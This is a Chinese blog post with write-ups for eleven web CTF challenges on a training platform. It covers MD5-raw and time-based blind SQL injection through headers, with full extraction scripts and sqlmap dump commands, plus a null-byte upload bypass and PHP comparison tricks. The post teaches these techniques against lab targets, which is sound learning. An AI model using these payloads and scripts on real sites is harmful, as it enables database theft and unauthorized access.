实验吧CTF(Web)-writeup

实验吧CTF(Web)-writeup

从今天开始做实验吧的Web题,每天一道(◦ "̮ ◦)

1.后台登录

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

进入题目,界面很简单,一个输入框用来输入密码,点击提交查询跳转

随便输入一个123测试一下,显示密码错误!
F12查看一下源码,发现注释掉的一段文字:
实验吧CTF(Web)-writeup

$password=$_POST['password']; 
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密码错误!';
		} 

md5($password,true)将MD5值转化为了十六进制
首先我们需要找到一个字符串,这个字符串经过md5得到的16位字符串需能实现sql注入。根据sql注入知识知道字符串通常包含or,还需匹配select语句中的引号,最终得出我们需要的字符串应包含 or ’ <xxxxxx>
满足这样的字符串很难找到,题目url中 “ ffifdyop ”恰好满足要求。将ffifdyop输入密码框,成功得到flag。
实验吧CTF(Web)-writeup

2.天下武功唯快不破

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/10/10.php

题目提示是 看响应头
进入题目,只有两行文字,提示要求速度快,猜测可能是上传数据的速度。
实验吧CTF(Web)-writeupF12查看源码,有一行被注释掉的提示
实验吧CTF(Web)-writeup
将找到的数据使用参数 key POST上传

根据题目提示,使用burpsuite抓包查看响应头(可以直接在firebox网络中查看)
发现FLAG,根据==得知用base64解码,得到P0ST_THIS_T0_CH4NGE_FL4G:HEO8n49Uq
实验吧CTF(Web)-writeup
使用hackbar插件发送POST请求key==HEO8n49Uq
实验吧CTF(Web)-writeup无事发生.jpg
重新来一次发现响应头中的FLAG内容变了(*゚Д゚)つミ匚___
这时就知道题目说的“快”是什么意思了

接下来就需要上脚本了 (⊙_⊙;)

      import requests
      import base64
      
      url = 'http://ctf5.shiyanbar.com/web/10/10.php'
      result = requests.get(url)
      flag = base64.b64decode(result.headers['flag']).split(':')[1]
      val = {'key': flag}
      ans = requests.post(url=url, data=val)
      print ans.text

运行,成功得到flag ♪(´▽`)
实验吧CTF(Web)-writeup

3.who are you

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/wonderkun/index.php

进入题目,显示出本机的IP地址。
实验吧CTF(Web)-writeup
尝试伪造IP头,这里使用在HTTP请求头中添加X-Forwarded-For来伪造IP
(伪造IP头的几种方法见 https://blog.csdn.net/qq_40657585/article/details/83755393 )
发现返回了输入的内容,尝试后发现逗号被过滤并截掉了逗号后的内容
实验吧CTF(Web)-writeup
题目提示信息是“我要把攻击我的人都记录db中去!”,猜测X-Forwarded-For的值先被写入数据库再select出来。

没有任何提示信息,尝试时间盲注

时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

获取数据库名称长度

设置timeout为5秒,如果连接超时,则状态码和length一栏为空。由此可以判断连接是否超时
实验吧CTF(Web)-writeup由于逗号被过滤 (SQL注入之逗号拦截绕过 https://www.cnblogs.com/nul1/p/9333599.html ),构造语句

select 字段='1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1
payload = 1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1
最后得到数据库名称长度为4

获取数据库名称

使用python脚本爆出数据库名,代码如下:

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all=string.lowercase + string.uppercase + string.digits
db_name=''
print str_all
result = requests.get(url)

for i in range(1,5):
   for str in str_all:
       headers={"x-forwarded-for":"1'and (select case when (substr(database() from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i,str)}
       try:
           res=requests.get(url,headers=headers,timeout=5)
       except requests.exceptions.ReadTimeout,e:
           db_name=db_name+str
           print "database name:",db_name
           break

print 'result:',db_name

实验吧CTF(Web)-writeup
得到数据库名为web4

获取表名

和获取数据库名类似。可能有多个表,所以要多加一个循环,使用偏移量offset来选定相应的表
脚本如下:

# -*- coding: utf-8 -*-
import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.punctuation
tables = ''

result = requests.get(url)

for no in range(0, 2):  # 假定有3个表
    
    table_name = ''
    for i in range(1, 5): #先得到表名的一部分进行选择猜测
        for str in str_all:
            headers = {
                "x-forwarded-for": "1'and (select case when (substr((select table_name from information_schema.tables where table_schema='web4' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}
            try:
                print headers
                res = requests.get(url, headers=headers, timeout=4)
            except requests.exceptions.ReadTimeout, e:
                table_name = table_name+str
                print "table name:", table_name
                break
    tables = tables+table_name+'\t'
print 'result:', tables

运行得到clien…和flag两个表名,很显然对我们有用的是flag表名

获得字段名

同上,就不再写了。其中:
headers = { "x-forwarded-for": "1'and (select case when (substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}
最后得到flag字段为所需字段名 。

获取flag长度

同获取数据库名长度类似,脚本如下:

# -*- coding: utf-8 -*-
import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.punctuation
m_length=0

result = requests.get(url)

for i in range(0, 50):
        headers = {
            "x-forwarded-for": "1' and (select case when (select length(flag) from flag limit 1)=%d then sleep(5) else 1 end) and '1'='1" % (i)}
        try:
            res = requests.get(url, headers=headers, timeout=4)
            print headers
        except requests.exceptions.ReadTimeout, e:
            m_length = i
            break
print 'result:', i

得到数据长度为32

获取flag

最后一步就是要获取flag,方法和获取数据库名一样,暴力破解
脚本如下:

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.uppercase + string.digits
flag = ''

result = requests.get(url)

for i in range(1, 33):
    for str in str_all:
        headers = {
            "x-forwarded-for": "1'and (select case when (substr((select flag from flag limit 1) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i, str)}
        try:
            res = requests.get(url, headers=headers, timeout=4)
        except requests.exceptions.ReadTimeout, e:
            flag = flag+str
            print "database name:", flag
            break

print 'result:', flag

运行后获得flag:cdbf14c9551d5be5612f7bb5d2867853

参考:
https://www.jianshu.com/p/5d34b3722128
https://www.cnblogs.com/qincan4Q/p/9684032.html
https://blog.csdn.net/sdb5858874/article/details/80656144

4.这个看起来有点简单

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/8/index.php?id=1

进入题目,显示表格, 看样子题目是SQL注入
实验吧CTF(Web)-writeup使用sqlmap进行SQL注入

  1. 首先获取数据库
python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs

实验吧CTF(Web)-writeup
得到数据库有 information_schema、my_db、test三个
看出有用的是my_db

  1. 获取my_db中的表名
 python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables

实验吧CTF(Web)-writeup得到表名news、thiskey
显然要使用thiskey

  1. 获取字段名
 python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns

实验吧CTF(Web)-writeup得到字段k0y

  1. 获取flag
python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump

实验吧CTF(Web)-writeup
成功获得flag:whatiMyD91dump

5.NSCTF web200

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/web200.jpg

进入题目,是一张图片,上面是一段php代码,要求对密文解密。
实验吧CTF(Web)-writeup
读php代码,涉及的函数有:

  • strrev(str):对字符串进行翻转
  • substr(str, start, length):取字符串子串
  • ord(str):返回字符串第一个字符的ASCII码
  • chr(int):返回ASCII码对应的字符
  • base64_encode(str):对字符串进行base64编码
  • str_rot13(str):对字符串进行rot13编码/解码

所以这段php代码的作用是:
首先将传入的字符串翻转,再将翻转后的字符串中的字符ASCII码值加1。将得到的新字符串用base64加密,再将加密后的字符串翻转,最后将得到的字符串用rot13加密。

我们只需要将过程逆推一遍即可得到解密的字符串。
php代码如下:

<?php
    $initial_str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
    $initial_str=str_rot13($initial_str);
    $initial_str=strrev($initial_str);
    $initial_str=base64_decode($initial_str);
    $new_str='';
    for($i=0;$i<strlen($initial_str);$i++){
        $j=substr($initial_str,$i,1);
        $z=ord($j)-1;
        $j=chr($z);
        $new_str=$new_str.$j;
    }
    echo strrev($new_str)
?>

运行得到flag
实验吧CTF(Web)-writeup

6.头有点大

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/sHeader/

进入题目,显示Forbideen,给的提示是

  • 需要安装.net framework 9.9
  • 在英国地区
  • 使用IE浏览器

实验吧CTF(Web)-writeup
修改http请求头即可

在User-Agent中添加 .NET CLR 9.9;IE 对应要求中的安装.net framework 9.9和使用IE浏览器

在英国地区这一点,我开始的想法是伪造IP地址,试了下不可行。
然后看了别人的WP,原来只需要修改Accept-Language,将en-gb作为首选项即可。

这些可以在firefox中直接修改,也可在burpsuite中抓包修改。
最后得到flag
实验吧CTF(Web)-writeup

7.看起来有点难

实验吧CTF(Web)-writeup

题目链接: http://ctf5.shiyanbar.com/basic/inject

进入题目,显示一个登录框,和几条报错信息(题目好像有点问题?)
实验吧CTF(Web)-writeup用sqlmap跑了一下,发现可以时间盲注
(看其他的writeup可以直接用sqlmap爆出来,这里失败了,不知道为什么(눈_눈))

实验吧CTF(Web)-writeup最后得出password
脚本如下:

import requests
import string
str_all = string.lowercase + string.uppercase + string.digits
flag = ''

for i in range(1, 10):
    for str in str_all:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else 1 end and ''='&pass=&action=login" % (
            i, str)
        try:
            res = requests.get(url, timeout=5)
        except requests.exceptions.ReadTimeout, e:
            flag = flag+str
            print " re:", flag
            break

print 'result:', flag

8.上传绕过

实验吧CTF(Web)-writeup

题目链接: http://ctf5.shiyanbar.com/web/upload

进入题目,简单的文件上传提交按钮
实验吧CTF(Web)-writeup
随便上传一个txt文件,提示仅允许上传jpg,gif,png后缀的文件
实验吧CTF(Web)-writeup
上传一个1.jpg试下,又返回提示需要上传后缀名为php的文件 (╯‵□′)╯︵┻━┻
实验吧CTF(Web)-writeup

题目是上传绕过,最常见的就是%00截断。

%00截断原理
截断的核心,就是 chr(0)这个字符
先说一下这个字符,这个字符不为空 (Null),也不是空字符 (""),更不是空格。
当程序在输出含有 chr(0)变量时
chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生
(这篇博客写的很详细 参考一下 https://blog.csdn.net/zpy1998zpy/article/details/80545408 )

先用Burpsuite抓包,然后Send to Repeater
尝试修改filename,在这里截断,失败了。
实验吧CTF(Web)-writeup再尝试修改上传路径
实验吧CTF(Web)-writeup
在hex中将php.jpg中的.的2e改为00
实验吧CTF(Web)-writeup实验吧CTF(Web)-writeup

然后Go,成功得到flag
实验吧CTF(Web)-writeup

9.Guess Next Session

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/Session.php

进入题目,三个随机的数字,一个输入框用来输入猜测的下一个数字进行提交。
实验吧CTF(Web)-writeup
点击View the source code查看源码

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

首先了解一下php中的Sessions:

PHP Session 变量
当您运行一个应用程序时,您会打开它,做些更改,然后关闭它。这很像一次会话。计算机清楚你是谁。它知道你何时启动应用程序,并在何时终止。但是在因特网上,存在一个问题:服务器不知道你是谁以及你做什么,这是由于 HTTP 地址不能维持状态。
通过在服务器上存储用户信息以便随后使用,PHP session 解决了这个问题(比如用户名称、购买商品等)。不过,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久储存信息,可以把数据存储在数据库中。
Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。

得知这三个随机数是根据cookie来生成的,所以只需要改变cookie的值为空,提交的password也为空即可符合条件。

使用Firefox修改cookie值并发送请求
实验吧CTF(Web)-writeup返回flag
实验吧CTF(Web)-writeup

10.FALSE

实验吧CTF(Web)-writeup
题目链接: http://ctf5.shiyanbar.com/web/false.php

进入题目,两个输入框输入用户名、密码。
实验吧CTF(Web)-writeup
点击View the source code查看源码

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
	echo '<p>Login first!</p>';
?>


首先了解一下sha1算法:

PHP sha1()函数
sha1() 函数计算字符串的 SHA-1 散列。
sha1() 函数使用美国 Secure Hash 算法 1。
来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。

在这里简单总结一下利用md5()和sha1()函数的漏洞:

  • PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
  • md5()和sha1()不能处理数组。

本题可通过上传数组的方式绕过。
提交http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
得到flag

11.你真的会PHP吗?

实验吧CTF(Web)-writeup

题目链接: http://ctf5.shiyanbar.com/web/PHP/index.php

打开链接,只有一句 have a fun!!
查看源码和请求头,在请求头中发现了hint:6c525af4059b4fe7d8c33a.txt
访问文件6c525af4059b4fe7d8c33a.txt,是一段php代码,进行代码审计:

<?php

$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 


if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

//遍历POST。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
foreach([$_POST] as $global_var) { 
    //同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
    foreach($global_var as $key => $value) { 
        $value = trim($value); //去除value两侧的空白字符或其他预定义字符
        is_string($value) && $req[$key] = addslashes($value); //addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
    } 
} 

//函数功能:判断是否为回文数字(如121)
function is_palindrome_number($number) { 
    $number = strval($number);//字符串转换函数
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 

//判断是否为数字
if(is_numeric($_REQUEST['number'])){
    
   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){     //intval() 函数用于获取变量的整数值
      
     $info = "number must be equal to it's integer!! ";  

}else{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  //strrev()反转字符串

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{
          
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;
?>

由此可知,题目要求:

  1. 不是数值型数字 is_numeric()
  2. 不能是回文数 is_palindrome_number
  3. 该数字翻转后的值应与本来的值相等
  • intval()函数返回的最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。所以intval(strrev(‘2147483647’))在将2147483647翻转后由于超过了最大值2147483647,返回值仍为2147483647,这样可满足2、3点。
  • 函数 is_numeric() 对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
    从 is_numeric() 函数源码(下图)可看出对于第一个空格字符会跳过空格字符,再进行后面的判断。
    所以我们可以构造number=%002147483647或number=2147483647%20
    实验吧CTF(Web)-writeup

使用Firefox的hackbar提交POST数据,成功得到flag

上一篇:2020祥云杯网络安全大赛 WEB Writeup


下一篇:BugkuCTF WEB writeup-备份是个好习惯(80)